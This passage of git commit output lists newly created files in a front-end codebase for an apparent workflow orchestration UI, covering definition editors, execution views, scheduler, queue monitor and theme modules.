ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/guards.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/TaskFormTab/taskDescription.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/ActorToHandlerValue.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/WorkflowPropertiesForm.tsx create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/actions.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/hook.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/index.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/machine.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/WorkflowPropertiesFormTab/state/types.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/hook.ts create mode 100644 ui-next/src/pages/definition/EditorPanel/selectors.ts create mode 100644 ui-next/src/pages/definition/EventHandler/EventHandler.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/SaveProtectionPrompt.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerButton.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/EventHandlerEditor.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/CompleteTask.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/FailTask.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/StartWorkflowTask.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/TerminateWorkflowTask.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/UpdateWorkflowTask.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/ActionForms/common.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/EventHandlerForm.tsx create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/actions.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/hook.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/machine.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/FormComponent/state/types.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/eventHandlerSchema.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/state/actions.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/state/guards.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/state/hook.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/state/index.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/state/machine.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/state/services.ts create mode 100644 ui-next/src/pages/definition/EventHandler/eventhandlers/state/types.ts create mode 100644 ui-next/src/pages/definition/EventHandler/index.ts create mode 100644 ui-next/src/pages/definition/GraphPanel.tsx create mode 100644 ui-next/src/pages/definition/ImportSuccessfulDialog.tsx create mode 100644 ui-next/src/pages/definition/PromptIfChanges.tsx create mode 100644 ui-next/src/pages/definition/RunWorkflow/RunWorkflowForm.tsx create mode 100644 ui-next/src/pages/definition/RunWorkflow/RunWorkflowHistoryTable.tsx create mode 100644 ui-next/src/pages/definition/RunWorkflow/index.ts create mode 100644 ui-next/src/pages/definition/RunWorkflow/state/actions.ts create mode 100644 ui-next/src/pages/definition/RunWorkflow/state/hook.ts create mode 100644 ui-next/src/pages/definition/RunWorkflow/state/index.ts create mode 100644 ui-next/src/pages/definition/RunWorkflow/state/machine.ts create mode 100644 ui-next/src/pages/definition/RunWorkflow/state/services.ts create mode 100644 ui-next/src/pages/definition/RunWorkflow/state/types.ts create mode 100644 ui-next/src/pages/definition/WorkflowDefinition.tsx create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/EditInPlaceFieldWrapper.tsx create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/actions.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/guards.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/index.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/machine.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/EditInPlaceWrapper/state/types.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/WorkflowMetaBar.tsx create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/index.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataContext.tsx create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/WorkflowMetadataProvider.tsx create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/index.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/WorkflowMetadataContext/types.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/actions.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/guards.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/hook.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/index.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/machine.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/services.ts create mode 100644 ui-next/src/pages/definition/WorkflowMetadata/state/types.ts create mode 100644 ui-next/src/pages/definition/commonService.ts create mode 100644 ui-next/src/pages/definition/confirmSave/ConfirmSaveButtonGroup.tsx create mode 100644 ui-next/src/pages/definition/confirmSave/ConfirmSaveDiffEditor.tsx create mode 100644 ui-next/src/pages/definition/confirmSave/ConfirmWorkflowOverride.tsx create mode 100644 ui-next/src/pages/definition/confirmSave/index.ts create mode 100644 ui-next/src/pages/definition/confirmSave/state/actions.ts create mode 100644 ui-next/src/pages/definition/confirmSave/state/guards.ts create mode 100644 ui-next/src/pages/definition/confirmSave/state/index.ts create mode 100644 ui-next/src/pages/definition/confirmSave/state/machine.ts create mode 100644 ui-next/src/pages/definition/confirmSave/state/services.ts create mode 100644 ui-next/src/pages/definition/confirmSave/state/types.ts create mode 100644 ui-next/src/pages/definition/errorInspector/AccordionErrorSummary.tsx create mode 100644 ui-next/src/pages/definition/errorInspector/ErrorInspector.tsx create mode 100644 ui-next/src/pages/definition/errorInspector/ImportSummary.tsx create mode 100644 ui-next/src/pages/definition/errorInspector/ServerErrorDisplayer.tsx create mode 100644 ui-next/src/pages/definition/errorInspector/TaskErrorsDisplayer.tsx create mode 100644 ui-next/src/pages/definition/errorInspector/WorkflowErrorDisplayer.tsx create mode 100644 ui-next/src/pages/definition/errorInspector/state/actions.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/helpers.test.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/helpers.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/hook.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/index.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/machine.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/schemaValidator.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/service.test.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/service.ts create mode 100644 ui-next/src/pages/definition/errorInspector/state/types.ts create mode 100644 ui-next/src/pages/definition/helper.test.ts create mode 100644 ui-next/src/pages/definition/helpers.ts create mode 100644 ui-next/src/pages/definition/progressicons.jsx create mode 100644 ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditContext.tsx create mode 100644 ui-next/src/pages/definition/state/WorkflowEditContext/WorkflowEditProvider.tsx create mode 100644 ui-next/src/pages/definition/state/WorkflowEditContext/index.ts create mode 100644 ui-next/src/pages/definition/state/WorkflowEditContext/types.ts create mode 100644 ui-next/src/pages/definition/state/action.ts create mode 100644 ui-next/src/pages/definition/state/constants.js create mode 100644 ui-next/src/pages/definition/state/guards.ts create mode 100644 ui-next/src/pages/definition/state/hook.ts create mode 100644 ui-next/src/pages/definition/state/index.ts create mode 100644 ui-next/src/pages/definition/state/machine.ts create mode 100644 ui-next/src/pages/definition/state/services.ts create mode 100644 ui-next/src/pages/definition/state/taskModifier/constants.ts create mode 100644 ui-next/src/pages/definition/state/taskModifier/index.ts create mode 100644 ui-next/src/pages/definition/state/taskModifier/taskModifier.test.js create mode 100644 ui-next/src/pages/definition/state/taskModifier/taskModifier.ts create mode 100644 ui-next/src/pages/definition/state/types.ts create mode 100644 ui-next/src/pages/definition/state/useGetVariablesForSelectedTasks.ts create mode 100644 ui-next/src/pages/definition/state/useMadeChanges.ts create mode 100644 ui-next/src/pages/definition/state/usePanelChanges.ts create mode 100644 ui-next/src/pages/definition/state/usePerformOperationOnDefintion.ts create mode 100644 ui-next/src/pages/definition/task/CreationInfo.tsx create mode 100644 ui-next/src/pages/definition/task/NameDescription.tsx create mode 100644 ui-next/src/pages/definition/task/SaveProtectionPrompt.tsx create mode 100644 ui-next/src/pages/definition/task/TaskDefErrorInspector.tsx create mode 100644 ui-next/src/pages/definition/task/TaskDefinition.tsx create mode 100644 ui-next/src/pages/definition/task/TaskDefinitionButtons.tsx create mode 100644 ui-next/src/pages/definition/task/TaskDefinitionDiffEditor.tsx create mode 100644 ui-next/src/pages/definition/task/TestTaskForm.tsx create mode 100644 ui-next/src/pages/definition/task/dialogs/TaskDefinitionDialogs.tsx create mode 100644 ui-next/src/pages/definition/task/dialogs/state/actions.ts create mode 100644 ui-next/src/pages/definition/task/dialogs/state/guards.ts create mode 100644 ui-next/src/pages/definition/task/dialogs/state/hook.ts create mode 100644 ui-next/src/pages/definition/task/dialogs/state/index.ts create mode 100644 ui-next/src/pages/definition/task/dialogs/state/machine.ts create mode 100644 ui-next/src/pages/definition/task/dialogs/state/types.ts create mode 100644 ui-next/src/pages/definition/task/form/TaskDefinitionForm.tsx create mode 100644 ui-next/src/pages/definition/task/form/state/actions.ts create mode 100644 ui-next/src/pages/definition/task/form/state/guards.ts create mode 100644 ui-next/src/pages/definition/task/form/state/hook.ts create mode 100644 ui-next/src/pages/definition/task/form/state/index.ts create mode 100644 ui-next/src/pages/definition/task/form/state/machine.ts create mode 100644 ui-next/src/pages/definition/task/form/state/services.ts create mode 100644 ui-next/src/pages/definition/task/form/state/types.ts create mode 100644 ui-next/src/pages/definition/task/index.ts create mode 100644 ui-next/src/pages/definition/task/state/actions.ts create mode 100644 ui-next/src/pages/definition/task/state/guards.ts create mode 100644 ui-next/src/pages/definition/task/state/helpers.ts create mode 100644 ui-next/src/pages/definition/task/state/hook.ts create mode 100644 ui-next/src/pages/definition/task/state/index.ts create mode 100644 ui-next/src/pages/definition/task/state/machine.ts create mode 100644 ui-next/src/pages/definition/task/state/services.ts create mode 100644 ui-next/src/pages/definition/task/state/types.ts create mode 100644 ui-next/src/pages/definition/task/state/validator.ts create mode 100644 ui-next/src/pages/definitions/EventHandler.tsx create mode 100644 ui-next/src/pages/definitions/Scheduler/BulkActionModule.tsx create mode 100644 ui-next/src/pages/definitions/Scheduler/Schedules.tsx create mode 100644 ui-next/src/pages/definitions/Task.tsx create mode 100644 ui-next/src/pages/definitions/Workflow.tsx create mode 100644 ui-next/src/pages/definitions/dialog/CloneDialog.tsx create mode 100644 ui-next/src/pages/definitions/dialog/CloneScheduleDialog.tsx create mode 100644 ui-next/src/pages/definitions/dialog/CloneWorkflowDialog.tsx create mode 100644 ui-next/src/pages/definitions/dialog/ShareWorkflowDialog.tsx create mode 100644 ui-next/src/pages/definitions/index.ts create mode 100644 ui-next/src/pages/definitions/rowColorHelpers.ts create mode 100644 ui-next/src/pages/error/ErrorPage.tsx create mode 100644 ui-next/src/pages/error/Forbidden.tsx create mode 100644 ui-next/src/pages/error/UserNotFound.tsx create mode 100644 ui-next/src/pages/error/types.ts create mode 100644 ui-next/src/pages/eventMonitor/EventMonitor.tsx create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/EventMonitorDetail.tsx create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/ExpandedGroupedItem.tsx create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/PayloadModal.tsx create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/RefreshEvent.tsx create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/actions.ts create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/hook.ts create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/machine.ts create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/services.ts create mode 100644 ui-next/src/pages/eventMonitor/EventMonitorDetail/Refresher/state/types.ts create mode 100644 ui-next/src/pages/eventMonitor/types.ts create mode 100644 ui-next/src/pages/eventMonitor/utils.ts create mode 100644 ui-next/src/pages/execution/ActionModule.jsx create mode 100644 ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.test.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/AgentDefinitionView.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/AgentDetailPanel.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/AgentExecutionDiagram.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/AgentExecutionHeader.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/AgentExecutionTab.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/AgentRunView.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/EventRow.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/HumanInputPanel.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/SubAgentTree.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/TurnBar.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/TurnDetail.tsx create mode 100644 ui-next/src/pages/execution/AgentExecution/agentExecutionUtils.ts create mode 100644 ui-next/src/pages/execution/AgentExecution/index.ts create mode 100644 ui-next/src/pages/execution/AgentExecution/mockData.ts create mode 100644 ui-next/src/pages/execution/AgentExecution/types.ts create mode 100644 ui-next/src/pages/execution/Execution.tsx create mode 100644 ui-next/src/pages/execution/ExecutionInputOutput.tsx create mode 100644 ui-next/src/pages/execution/ExecutionJson.tsx create mode 100644 ui-next/src/pages/execution/ExecutionSummary.tsx create mode 100644 ui-next/src/pages/execution/LeftPanelTabs.test.tsx create mode 100644 ui-next/src/pages/execution/LeftPanelTabs.tsx create mode 100644 ui-next/src/pages/execution/NoAnimRangeSlider.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/CollapsibleIterationList.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/DoWhileIteration.test.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/DoWhileIteration.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/InlineTaskIterations.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/IterationHeaderLabel.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/IterationSection.test.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/IterationSection.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/IterationStatusIcon.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/LabelRenderer.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/RightPanel.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/SecondaryActions.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/SummarizeConfirmDialog.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/SummarizeToggle.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/SummaryTask.tsx create mode 100644 ui-next/src/pages/execution/RightPanel/doWhileIterationHelpers.ts create mode 100644 ui-next/src/pages/execution/RightPanel/dropdownIcon.ts create mode 100644 ui-next/src/pages/execution/RightPanel/index.ts create mode 100644 ui-next/src/pages/execution/RightPanel/iterationHelpers.test.ts create mode 100644 ui-next/src/pages/execution/RightPanel/iterationHelpers.ts create mode 100644 ui-next/src/pages/execution/RightPanel/state/actions.ts create mode 100644 ui-next/src/pages/execution/RightPanel/state/guards.ts create mode 100644 ui-next/src/pages/execution/RightPanel/state/hook.ts create mode 100644 ui-next/src/pages/execution/RightPanel/state/index.ts create mode 100644 ui-next/src/pages/execution/RightPanel/state/machine.ts create mode 100644 ui-next/src/pages/execution/RightPanel/state/services.ts create mode 100644 ui-next/src/pages/execution/RightPanel/state/types.ts create mode 100644 ui-next/src/pages/execution/RightPanel/useFullWorkflowQuery.ts create mode 100644 ui-next/src/pages/execution/RightPanel/useSummarize.ts create mode 100644 ui-next/src/pages/execution/TaskList/StatusSelect.tsx create mode 100644 ui-next/src/pages/execution/TaskList/TaskList.tsx create mode 100644 ui-next/src/pages/execution/TaskList/index.ts create mode 100644 ui-next/src/pages/execution/TaskList/state/actions.ts create mode 100644 ui-next/src/pages/execution/TaskList/state/hook.ts create mode 100644 ui-next/src/pages/execution/TaskList/state/index.ts create mode 100644 ui-next/src/pages/execution/TaskList/state/machine.ts create mode 100644 ui-next/src/pages/execution/TaskList/state/services.ts create mode 100644 ui-next/src/pages/execution/TaskList/state/types.ts create mode 100644 ui-next/src/pages/execution/TaskLogs.tsx create mode 100644 ui-next/src/pages/execution/TaskSummary.tsx create mode 100644 ui-next/src/pages/execution/Timeline.test.ts create mode 100644 ui-next/src/pages/execution/Timeline.tsx create mode 100644 ui-next/src/pages/execution/UpdateTaskStatusForm.tsx create mode 100644 ui-next/src/pages/execution/WorkflowIntrospection.tsx create mode 100644 ui-next/src/pages/execution/WorkflowSizeIndicator.tsx create mode 100644 ui-next/src/pages/execution/componentHelpers.tsx create mode 100644 ui-next/src/pages/execution/helpers.test.ts create mode 100644 ui-next/src/pages/execution/helpers.ts create mode 100644 ui-next/src/pages/execution/index.ts create mode 100644 ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionContext.tsx create mode 100644 ui-next/src/pages/execution/state/FlowExecutionContext/FlowExecutionProvider.tsx create mode 100644 ui-next/src/pages/execution/state/FlowExecutionContext/index.ts create mode 100644 ui-next/src/pages/execution/state/FlowExecutionContext/types.ts create mode 100644 ui-next/src/pages/execution/state/StatusMapTypes.ts create mode 100644 ui-next/src/pages/execution/state/actions.ts create mode 100644 ui-next/src/pages/execution/state/agentDefaultTab.test.ts create mode 100644 ui-next/src/pages/execution/state/constants.ts create mode 100644 ui-next/src/pages/execution/state/countdownActions.ts create mode 100644 ui-next/src/pages/execution/state/countdownMachine.ts create mode 100644 ui-next/src/pages/execution/state/executionMapper.test.js create mode 100644 ui-next/src/pages/execution/state/executionMapper.ts create mode 100644 ui-next/src/pages/execution/state/guards.ts create mode 100644 ui-next/src/pages/execution/state/hook.ts create mode 100644 ui-next/src/pages/execution/state/index.ts create mode 100644 ui-next/src/pages/execution/state/machine.ts create mode 100644 ui-next/src/pages/execution/state/sampleExecutions.js create mode 100644 ui-next/src/pages/execution/state/services.ts create mode 100644 ui-next/src/pages/execution/state/types.ts create mode 100644 ui-next/src/pages/execution/timeline.scss create mode 100644 ui-next/src/pages/execution/timelineUtils.ts create mode 100644 ui-next/src/pages/executions/ApiSearchModalIntegration.tsx create mode 100644 ui-next/src/pages/executions/BulkActionModule.tsx create mode 100644 ui-next/src/pages/executions/DateControlComponent.tsx create mode 100644 ui-next/src/pages/executions/DatePickerComponent.tsx create mode 100644 ui-next/src/pages/executions/ResultsTable.tsx create mode 100644 ui-next/src/pages/executions/SchedulerApiSearchModal.tsx create mode 100644 ui-next/src/pages/executions/SchedulerExecutions.tsx create mode 100644 ui-next/src/pages/executions/SchedulerResultsTable.tsx create mode 100644 ui-next/src/pages/executions/SearchExampleQuery.tsx create mode 100644 ui-next/src/pages/executions/SplitWorkflowDefinitionButton/ImportBPNFileDialog.tsx create mode 100644 ui-next/src/pages/executions/SplitWorkflowDefinitionButton/SplitWorkflowDefinitionButton.tsx create mode 100644 ui-next/src/pages/executions/SplitWorkflowDefinitionButton/hook.ts create mode 100644 ui-next/src/pages/executions/Task/AdvanceSearch.tsx create mode 100644 ui-next/src/pages/executions/Task/BasicSearch.tsx create mode 100644 ui-next/src/pages/executions/Task/SwitchComponent.tsx create mode 100644 ui-next/src/pages/executions/Task/TaskApiSearchModal.tsx create mode 100644 ui-next/src/pages/executions/TaskResultsTable.tsx create mode 100644 ui-next/src/pages/executions/TaskSearch.tsx create mode 100644 ui-next/src/pages/executions/WorkflowSearch.tsx create mode 100644 ui-next/src/pages/executions/executionsStyles.ts create mode 100644 ui-next/src/pages/executions/index.ts create mode 100644 ui-next/src/pages/executions/workflowSearchComponents/AdvancedSearch.tsx create mode 100644 ui-next/src/pages/executions/workflowSearchComponents/BasicSearch.tsx create mode 100644 ui-next/src/pages/kitchensink/DataTableDemo.jsx create mode 100644 ui-next/src/pages/kitchensink/EnhancedTable.jsx create mode 100644 ui-next/src/pages/kitchensink/Examples.jsx create mode 100644 ui-next/src/pages/kitchensink/Gantt.jsx create mode 100644 ui-next/src/pages/kitchensink/KitchenSink.jsx create mode 100644 ui-next/src/pages/kitchensink/ThemeSampler.jsx create mode 100644 ui-next/src/pages/kitchensink/sampleMovieData.js create mode 100644 ui-next/src/pages/queueMonitor/PollDataTable.tsx create mode 100644 ui-next/src/pages/queueMonitor/PollWorkerDetails.tsx create mode 100644 ui-next/src/pages/queueMonitor/QuickSearchAndRefresh.tsx create mode 100644 ui-next/src/pages/queueMonitor/TaskQueue.tsx create mode 100644 ui-next/src/pages/queueMonitor/filter/FilterSection.tsx create mode 100644 ui-next/src/pages/queueMonitor/filter/hook.ts create mode 100644 ui-next/src/pages/queueMonitor/filter/index.ts create mode 100644 ui-next/src/pages/queueMonitor/helpers.ts create mode 100644 ui-next/src/pages/queueMonitor/refresher/RefreshOptions.tsx create mode 100644 ui-next/src/pages/queueMonitor/refresher/index.ts create mode 100644 ui-next/src/pages/queueMonitor/refresher/state/actions.ts create mode 100644 ui-next/src/pages/queueMonitor/refresher/state/guards.ts create mode 100644 ui-next/src/pages/queueMonitor/refresher/state/index.ts create mode 100644 ui-next/src/pages/queueMonitor/refresher/state/machine.ts create mode 100644 ui-next/src/pages/queueMonitor/refresher/state/types.ts create mode 100644 ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorContext.tsx create mode 100644 ui-next/src/pages/queueMonitor/state/QueueMonitorContext/QueueMonitorProvider.tsx create mode 100644 ui-next/src/pages/queueMonitor/state/QueueMonitorContext/index.ts create mode 100644 ui-next/src/pages/queueMonitor/state/QueueMonitorContext/types.ts create mode 100644 ui-next/src/pages/queueMonitor/state/actions.ts create mode 100644 ui-next/src/pages/queueMonitor/state/guards.ts create mode 100644 ui-next/src/pages/queueMonitor/state/hook.ts create mode 100644 ui-next/src/pages/queueMonitor/state/index.ts create mode 100644 ui-next/src/pages/queueMonitor/state/machine.ts create mode 100644 ui-next/src/pages/queueMonitor/state/service.ts create mode 100644 ui-next/src/pages/queueMonitor/state/types.ts create mode 100644 ui-next/src/pages/runWorkflow/IdempotencyForm.tsx create mode 100644 ui-next/src/pages/runWorkflow/RunWorkflow.tsx create mode 100644 ui-next/src/pages/runWorkflow/RunWorkflowApiSearchModal.tsx create mode 100644 ui-next/src/pages/runWorkflow/index.ts create mode 100644 ui-next/src/pages/runWorkflow/runWorkflowUtils.ts create mode 100644 ui-next/src/pages/runWorkflow/types.ts create mode 100644 ui-next/src/pages/scheduler/CronExpressionHelp.tsx create mode 100644 ui-next/src/pages/scheduler/SaveProtectionPrompt.tsx create mode 100644 ui-next/src/pages/scheduler/Schedule.tsx create mode 100644 ui-next/src/pages/scheduler/ScheduleButtons.tsx create mode 100644 ui-next/src/pages/scheduler/ScheduleDiffEditor.jsx create mode 100644 ui-next/src/pages/scheduler/TimezonePicker.tsx create mode 100644 ui-next/src/pages/scheduler/__tests__/Schedule.test.tsx create mode 100644 ui-next/src/pages/scheduler/__tests__/hooks.test.ts create mode 100644 ui-next/src/pages/scheduler/__tests__/scheduleTransformers.test.ts create mode 100644 ui-next/src/pages/scheduler/components/CronExpressionSection.tsx create mode 100644 ui-next/src/pages/scheduler/components/ScheduleTimingSection.tsx create mode 100644 ui-next/src/pages/scheduler/components/WorkflowConfigSection.tsx create mode 100644 ui-next/src/pages/scheduler/constants.ts create mode 100644 ui-next/src/pages/scheduler/hooks/useCronExpression.ts create mode 100644 ui-next/src/pages/scheduler/hooks/useScheduleFormHandlers.ts create mode 100644 ui-next/src/pages/scheduler/hooks/useScheduleState.ts create mode 100644 ui-next/src/pages/scheduler/hooks/useWorkflowConfig.ts create mode 100644 ui-next/src/pages/scheduler/index.ts create mode 100644 ui-next/src/pages/scheduler/schedulerHooks.js create mode 100644 ui-next/src/pages/scheduler/timezones.json create mode 100644 ui-next/src/pages/scheduler/utils/scheduleTransformers.ts create mode 100644 ui-next/src/pages/styles.js create mode 100644 ui-next/src/plugins/AppBarModules.tsx create mode 100644 ui-next/src/plugins/AppLogo.tsx create mode 100644 ui-next/src/plugins/ConductorLogo.tsx create mode 100644 ui-next/src/plugins/constants.js create mode 100644 ui-next/src/plugins/customTypeRenderers.jsx create mode 100644 ui-next/src/plugins/env.js create mode 100644 ui-next/src/plugins/fetch.ts create mode 100644 ui-next/src/plugins/index.ts create mode 100644 ui-next/src/plugins/registry/index.ts create mode 100644 ui-next/src/plugins/registry/registry.ts create mode 100644 ui-next/src/plugins/registry/types.ts create mode 100644 ui-next/src/queryClient.ts create mode 100644 ui-next/src/routes/__tests__/router.test.tsx create mode 100644 ui-next/src/routes/__tests__/test-utils.tsx create mode 100644 ui-next/src/routes/router.tsx create mode 100644 ui-next/src/routes/routes.tsx create mode 100644 ui-next/src/setupTests.ts create mode 100644 ui-next/src/shared/CodeModal/curlHeader.ts create mode 100644 ui-next/src/shared/CodeModal/hook.ts create mode 100644 ui-next/src/shared/CodeModal/types.ts create mode 100644 ui-next/src/shared/PersistableSidebar/state/actions.ts create mode 100644 ui-next/src/shared/PersistableSidebar/state/hook.ts create mode 100644 ui-next/src/shared/PersistableSidebar/state/machine.ts create mode 100644 ui-next/src/shared/PersistableSidebar/state/services.ts create mode 100644 ui-next/src/shared/PersistableSidebar/state/types.ts create mode 100644 ui-next/src/shared/UserSettingsContext.ts create mode 100644 ui-next/src/shared/UserSettingsProvider.tsx create mode 100644 ui-next/src/shared/createAndDisplayApplication/MetadataBanner.tsx create mode 100644 ui-next/src/shared/createAndDisplayApplication/state/actions.ts create mode 100644 ui-next/src/shared/createAndDisplayApplication/state/guards.ts create mode 100644 ui-next/src/shared/createAndDisplayApplication/state/machine.ts create mode 100644 ui-next/src/shared/createAndDisplayApplication/state/services.ts create mode 100644 ui-next/src/shared/createAndDisplayApplication/state/types.ts create mode 100644 ui-next/src/shared/editor.ts create mode 100644 ui-next/src/shared/icons/FitToFrame.tsx create mode 100644 ui-next/src/shared/state/index.ts create mode 100644 ui-next/src/shared/state/machine.ts create mode 100644 ui-next/src/shared/state/selectors.ts create mode 100644 ui-next/src/shared/state/types.ts create mode 100644 ui-next/src/shared/state/userSettingsMachine/actions.ts create mode 100644 ui-next/src/shared/state/userSettingsMachine/guards.ts create mode 100644 ui-next/src/shared/state/userSettingsMachine/index.ts create mode 100644 ui-next/src/shared/state/userSettingsMachine/machine.ts create mode 100644 ui-next/src/shared/state/userSettingsMachine/services.ts create mode 100644 ui-next/src/shared/state/userSettingsMachine/types.ts create mode 100644 ui-next/src/shared/styles.ts create mode 100644 ui-next/src/shared/useSaveProtection.ts create mode 100644 ui-next/src/shared/useUserSettings.ts create mode 100644 ui-next/src/templates/JSONSchemaWorkflow.js create mode 100644 ui-next/src/testData/diagramTests.js create mode 100644 ui-next/src/theme/index.ts create mode 100644 ui-next/src/theme/material/ColorModeContext/ColorModeContext.tsx create mode 100644 ui-next/src/theme/material/ColorModeContext/index.ts create mode 100644 ui-next/src/theme/material/baseTheme.ts create mode 100644 ui-next/src/theme/material/components/appBar.ts create mode 100644 ui-next/src/theme/material/components/atoms.ts create mode 100644 ui-next/src/theme/material/components/buttons.ts create mode 100644 ui-next/src/theme/material/components/buttonsGroup.ts create mode 100644 ui-next/src/theme/material/components/dropdownsMenusPopovers.ts create mode 100644 ui-next/src/theme/material/components/formControls.ts create mode 100644 ui-next/src/theme/material/components/modals.ts create mode 100644 ui-next/src/theme/material/components/paper.ts create mode 100644 ui-next/src/theme/material/components/tables.ts create mode 100644 ui-next/src/theme/material/components/tabs.ts create mode 100644 ui-next/src/theme/material/getPaletteForMode.ts create mode 100644 ui-next/src/theme/material/provider.tsx create mode 100644 ui-next/src/theme/material/types/Palette.d.ts create mode 100644 ui-next/src/theme/styles.ts create mode 100644 ui-next/src/theme/theme.ts create mode 100644 ui-next/src/theme/tokens/colorOverrides.ts create mode 100644 ui-next/src/theme/tokens/colors.js create mode 100644 ui-next/src/theme/tokens/globalConstants.js create mode 100644 ui-next/src/theme/tokens/orkes-theme.js create mode 100644 ui-next/src/theme/tokens/variables.ts create mode 100644 ui-next/src/types/Application.ts create mode 100644 ui-next/src/types/CloudTemplateResults.ts create mode 100644 